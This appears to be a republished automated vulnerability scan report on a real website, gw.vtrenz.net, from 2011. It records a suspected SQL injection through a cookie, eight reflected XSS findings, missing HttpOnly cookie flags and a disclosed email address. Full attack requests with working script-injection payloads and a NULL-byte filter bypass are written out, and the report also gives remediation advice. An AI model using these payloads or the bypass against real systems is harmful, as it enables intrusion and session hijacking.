gw.vtrenz.net, XSS, SQL Injection, DORK, CWE-79, CWE-89

The CFID cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the CFID cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

Request 1

GET /?KTFSQAXD2J HTTP/1.1
Host: gw.vtrenz.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A; CFID=37849793';

Response 1

HTTP/1.1 500 Server Error
Connection: close
Date: Tue, 08 Mar 2011 02:57:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=37851635;expires=Thu, 28-Feb-2041 02:57:34 GMT;path=/
Set-Cookie: CFTOKEN=ea786198298cad6-9365BD34-5056-8717-4302319221F67C65;expires=Thu, 28-Feb-2041 02:57:34 GMT;path=/
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Conten
...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 02:57:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=37851651;expires=Thu, 28-Feb-2041 02:57:35 GMT;path=/
Set-Cookie: CFTOKEN=16015cdbed277e9c-9365EF9E-5056-8717-43EF78D75ADD8028;expires=Thu, 28-Feb-2041 02:57:35 GMT;path=/
Expires: Tue, 08 Mar 2011 02:57:35 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter for Recruiters: How To, Help and Hype</title>

           <meta name="description" content="" />
           <meta name="keywords" content="Bullhorn
Twitter" />

<meta
...[SNIP]...

2. Cross-site scripting (reflected) previous next
There are 8 instances of this issue:

/ [mode parameter]
/ [mode parameter]
/ [mode parameter]
/ [name of an arbitrarily supplied request parameter]
/ [name of an arbitrarily supplied request parameter]
/ [name of an arbitrarily supplied request parameter]
/ [q14 parameter]
/ [q14 parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://gw.vtrenz.net/ [mode parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The value of the mode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e4db"%20style%3dx%3aexpression(alert(1))%204c4584d756d was submitted in the mode parameter. This input was echoed as 2e4db" style=x:expression(alert(1)) 4c4584d756d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

POST /?method=cSurveyWebservice.submit&dkey=D1E25563UJ&questionIDList=90192,3108,1,2,14,16,107,15,6,9,49198,58259&mode=live2e4db"%20style%3dx%3aexpression(alert(1))%204c4584d756d HTTP/1.1
Host: gw.vtrenz.net
Proxy-Connection: keep-alive
Referer: http://gw.vtrenz.net/?GTJ25UFT6K
Cache-Control: max-age=0
Origin: http://gw.vtrenz.net
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFID=37849793; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A
Content-Length: 224

formRelocateURL=&clicksource=&iMarketingSyncID=&WebSyncID=&sessionGuid=&q90192=IWTwitterSignup2010&q3108=Inbound+Web&q1=%27&q2=%27&q14=%27&q16=%27&q107=%27&q15=%27&q6=AL&q9=US&q49198=1+to+10&q58259=on
...[SNIP]...

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 03:02:30 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: Tue, 08 Mar 2011 03:02:30 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter Sign up Form</title>

           <meta name="description" content="" />
           <meta name="keywords" content="" />

   <meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<a href="http://gw.vtrenz.net/?D1E25563UJ:XC88R7DBEN=contactID:0,ssID:0,email:,srid:0,mode:live2e4db" style=x:expression(alert(1)) 4c4584d756d," target="_blank" title="Twitter">
...[SNIP]...

2.2. http://gw.vtrenz.net/ [mode parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The value of the mode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6b28"><script>alert(1)</script>26a26e0ed88 was submitted in the mode parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

POST /?method=cSurveyWebservice.submit&dkey=D1E25563UJ&questionIDList=90192,3108,1,2,14,16,107,15,6,9,49198,58259&mode=livea6b28"><script>alert(1)</script>26a26e0ed88 HTTP/1.1
Host: gw.vtrenz.net
Proxy-Connection: keep-alive
Referer: http://gw.vtrenz.net/?GTJ25UFT6K
Cache-Control: max-age=0
Origin: http://gw.vtrenz.net
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFID=37849793; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A
Content-Length: 224

formRelocateURL=&clicksource=&iMarketingSyncID=&WebSyncID=&sessionGuid=&q90192=IWTwitterSignup2010&q3108=Inbound+Web&q1=%27&q2=%27&q14=%27&q16=%27&q107=%27&q15=%27&q6=AL&q9=US&q49198=1+to+10&q58259=on
...[SNIP]...

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 03:02:57 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: Tue, 08 Mar 2011 03:02:57 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter Sign up Form</title>

           <meta name="description" content="" />
           <meta name="keywords" content="" />

   <meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<a href="http://gw.vtrenz.net/?D1E25563UJ:XC88R7DBEN=contactID:0,ssID:0,email:,srid:0,mode:livea6b28"><script>alert(1)</script>26a26e0ed88," target="_blank" title="Twitter">
...[SNIP]...

2.3. http://gw.vtrenz.net/ [mode parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The value of the mode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18a9e"><script>alert(1)</script>b94302ab35f7f365d was submitted in the mode parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Request

GET /?method=cSurveyWebservice.submit&dkey=D1E25563UJ&questionIDList=90192,3108,1,2,14,16,107,15,6,9,49198,58259&mode=live18a9e"><script>alert(1)</script>b94302ab35f7f365d&formRelocateURL=&clicksource=&iMarketingSyncID=&WebSyncID=&sessionGuid=&q90192=IWTwitterSignup2010&q3108=Inbound+Web&q1=%27&q2=%27&q14=%27&q16=%27&q107=%27&q15=%27&q6=AL&q9=US&q49198=1+to+10&q58259=on&Submit.x=30&Submit.y=10 HTTP/1.1
Host: gw.vtrenz.net
Proxy-Connection: keep-alive
Referer: http://gw.vtrenz.net/?GTJ25UFT6K
Cache-Control: max-age=0
Origin: http://gw.vtrenz.net
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFID=37849793; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 03:06:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: Tue, 08 Mar 2011 03:06:16 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter Sign up Form</title>

           <meta name="description" content="" />
           <meta name="keywords" content="" />

   <meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<a href="http://gw.vtrenz.net/?D1E25563UJ:XC88R7DBEN=contactID:0,ssID:0,email:,srid:0,mode:live18a9e"><script>alert(1)</script>b94302ab35f7f365d," target="_blank" title="Twitter">
...[SNIP]...

2.4. http://gw.vtrenz.net/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 85df9</script><script>alert(1)</script>2a90a3b6a8c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?GTJ25UFT6K&85df9</script><script>alert(1)</script>2a90a3b6a8c=1 HTTP/1.1
Host: gw.vtrenz.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 02:40:21 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=37849852;expires=Thu, 28-Feb-2041 02:40:21 GMT;path=/
Set-Cookie: CFTOKEN=2332d0e648bdb92b-93562979-5056-8717-4310A462D556109A;expires=Thu, 28-Feb-2041 02:40:21 GMT;path=/
Set-Cookie: JSESSIONID=9830e68292e207803b2032c76f5760163419;path=/
Set-Cookie: CFID=37849853;expires=Thu, 28-Feb-2041 02:40:21 GMT;path=/
Set-Cookie: CFTOKEN=def3335b2f66aa06-93562998-5056-8717-438EE2F26C8099EA;expires=Thu, 28-Feb-2041 02:40:21 GMT;path=/
Expires: Tue, 08 Mar 2011 02:40:21 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter Sign up Form</title>

           <meta name="description" content="" />
           <meta name="keywords" content="" />

<meta http-equiv="Content-Type" content="text/ht
...[SNIP]...
<script type="text/javascript" language="javascript">
               VTRENZ = {};
               VTRENZ.gwParams = {};
VTRENZ.gwParams["85df9</script><script>alert(1)</script>2a90a3b6a8c"] = "1";

           </script>
...[SNIP]...

2.5. http://gw.vtrenz.net/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %0019322</script><script>alert(1)</script>71c8365c183 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 19322</script><script>alert(1)</script>71c8365c183 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /?S2J9YX6ANY&%0019322</script><script>alert(1)</script>71c8365c183=1 HTTP/1.1
Host: gw.vtrenz.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A; CFID=37849793;

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 02:52:51 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: Tue, 08 Mar 2011 02:52:51 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>LPHSE2011Trends PR Social Media</title>

           <meta name="description" content="" />
           <meta name="keywords" content="" />

<meta http-equiv="Content-Type" conte
...[SNIP]...
<script type="text/javascript" language="javascript">
               VTRENZ = {};
               VTRENZ.gwParams = {};
VTRENZ.gwParams[".19322</script><script>alert(1)</script>71c8365c183"] = "1";

           </script>
...[SNIP]...

2.6. http://gw.vtrenz.net/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6a9be</script><script>alert(1)</script>9d391a6ea64 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /?KTFSQAXD2J&6a9be</script><script>alert(1)</script>9d391a6ea64=1 HTTP/1.1
Host: gw.vtrenz.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A; CFID=37849793;

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 02:58:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: Tue, 08 Mar 2011 02:58:48 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter for Recruiters: How To, Help and Hype</title>

           <meta name="description" content="" />
           <meta name="keywords" content="Bullhorn
Twitter" />

<meta
...[SNIP]...
<script type="text/javascript" language="javascript">
               VTRENZ = {};
               VTRENZ.gwParams = {};
VTRENZ.gwParams["6a9be</script><script>alert(1)</script>9d391a6ea64"] = "1";

           </script>
...[SNIP]...

2.7. http://gw.vtrenz.net/ [q14 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The value of the q14 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94f57"><script>alert(1)</script>03881f9a67c was submitted in the q14 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /?method=cSurveyWebservice.submit&dkey=D1E25563UJ&questionIDList=90192,3108,1,2,14,16,107,15,6,9,49198,58259&mode=live HTTP/1.1
Host: gw.vtrenz.net
Proxy-Connection: keep-alive
Referer: http://gw.vtrenz.net/?GTJ25UFT6K
Cache-Control: max-age=0
Origin: http://gw.vtrenz.net
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFID=37849793; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A
Content-Length: 224

formRelocateURL=&clicksource=&iMarketingSyncID=&WebSyncID=&sessionGuid=&q90192=IWTwitterSignup2010&q3108=Inbound+Web&q1=%27&q2=%27&q14=94f57"><script>alert(1)</script>03881f9a67c&q16=%27&q107=%27&q15=%27&q6=AL&q9=US&q49198=1+to+10&q58259=on&Submit.x=30&Submit.y=10

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 03:11:38 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: Tue, 08 Mar 2011 03:11:38 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter Sign up Form</title>

           <meta name="description" content="" />
           <meta name="keywords" content="" />

   <meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<iframe src="http://www.bullhorn.com/hubspotTrack.php?pageTitle=IWTwitterSignup2010&sendToHubSpot=true&first_name='&last_name='&email=94f57"><script>alert(1)</script>03881f9a67c" unselectable="on" name="BHHubSpotTracker" id="BHHubSpotTracker" style="border: medium none ; width: 5px; display: none; height: 5px">
...[SNIP]...

2.8. http://gw.vtrenz.net/ [q14 parameter] previous

Summary

Severity:	High
Confidence:	Firm
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The value of the q14 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1903"><a>d2289bd58d6 was submitted in the q14 parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

POST /?method=cSurveyWebservice.submit&dkey=D1E25563UJ&questionIDList=90192,3108,1,2,14,16,107,15,6,9,49198,58259&mode=live HTTP/1.1
Host: gw.vtrenz.net
Proxy-Connection: keep-alive
Referer: http://gw.vtrenz.net/?GTJ25UFT6K
Cache-Control: max-age=0
Origin: http://gw.vtrenz.net
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFID=37849793; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A
Content-Length: 224

formRelocateURL=&clicksource=&iMarketingSyncID=&WebSyncID=&sessionGuid=&q90192=IWTwitterSignup2010&q3108=Inbound+Web&q1=%27&q2=%27&q14=b1903"><a>d2289bd58d6&q16=%27&q107=%27&q15=%27&q6=AL&q9=US&q49198=1+to+10&q58259=on&Submit.x=30&Submit.y=10

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 03:15:37 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: Tue, 08 Mar 2011 03:15:37 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter Sign up Form</title>

           <meta name="description" content="" />
           <meta name="keywords" content="" />

   <meta http-equiv="Content-Type" content="text/h
...[SNIP]...
<iframe src="http://www.bullhorn.com/hubspotTrack.php?pageTitle=IWTwitterSignup2010&sendToHubSpot=true&first_name='&last_name='&email=b1903"><a>d2289bd58d6" unselectable="on" name="BHHubSpotTracker" id="BHHubSpotTracker" style="border: medium none ; width: 5px; display: none; height: 5px">
...[SNIP]...

3. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://gw.vtrenz.net
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CFID=37849794;expires=Thu, 28-Feb-2041 02:39:59 GMT;path=/
CFTOKEN=968c073b8df5619f-9355D4C1-5056-8717-434BD0081C2F75CC;expires=Thu, 28-Feb-2041 02:39:59 GMT;path=/
JSESSIONID=98309ef870ab9547c5cd5b31547a19177d44;path=/
CFID=37849795;expires=Thu, 28-Feb-2041 02:39:59 GMT;path=/
CFTOKEN=22bb2e18bfd08917-9355D500-5056-8717-43019B18C0607F60;expires=Thu, 28-Feb-2041 02:39:59 GMT;path=/

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /?GTJ25UFT6K HTTP/1.1
Host: gw.vtrenz.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Tue, 08 Mar 2011 02:39:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=37849794;expires=Thu, 28-Feb-2041 02:39:59 GMT;path=/
Set-Cookie: CFTOKEN=968c073b8df5619f-9355D4C1-5056-8717-434BD0081C2F75CC;expires=Thu, 28-Feb-2041 02:39:59 GMT;path=/
Set-Cookie: JSESSIONID=98309ef870ab9547c5cd5b31547a19177d44;path=/
Set-Cookie: CFID=37849795;expires=Thu, 28-Feb-2041 02:39:59 GMT;path=/
Set-Cookie: CFTOKEN=22bb2e18bfd08917-9355D500-5056-8717-43019B18C0607F60;expires=Thu, 28-Feb-2041 02:39:59 GMT;path=/
Expires: Tue, 08 Mar 2011 02:39:59 GMT
Content-Type: text/html; charset=UTF-8

<html>
           <head>
           <title>Twitter Sign up Form</title>

           <meta name="description" content="" />
           <meta name="keywords" content="" />

<meta http-equiv="Content-Type" content="text/ht
...[SNIP]...

4. Email addresses disclosed previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://gw.vtrenz.net
Path:	/scripts/validator%20class/validatorv1.js

Issue detail

The following email address was disclosed in the response:

rjohnson@vtrenz.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /scripts/validator%20class/validatorv1.js HTTP/1.1
Host: gw.vtrenz.net
Proxy-Connection: keep-alive
Referer: http://gw.vtrenz.net/?GTJ25UFT6K
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=98304061915c0a3d1b0419a6b2ab93759321; CFID=37849793; CFTOKEN=4a456c0357a7666f-9355CE1A-5056-8717-43BA589CCB80D16A

Response

HTTP/1.1 200 OK
Content-Length: 23292
Content-Type: application/x-javascript
Content-Location: http://gw.vtrenz.net/scripts/validator%20class/validatorv1.js
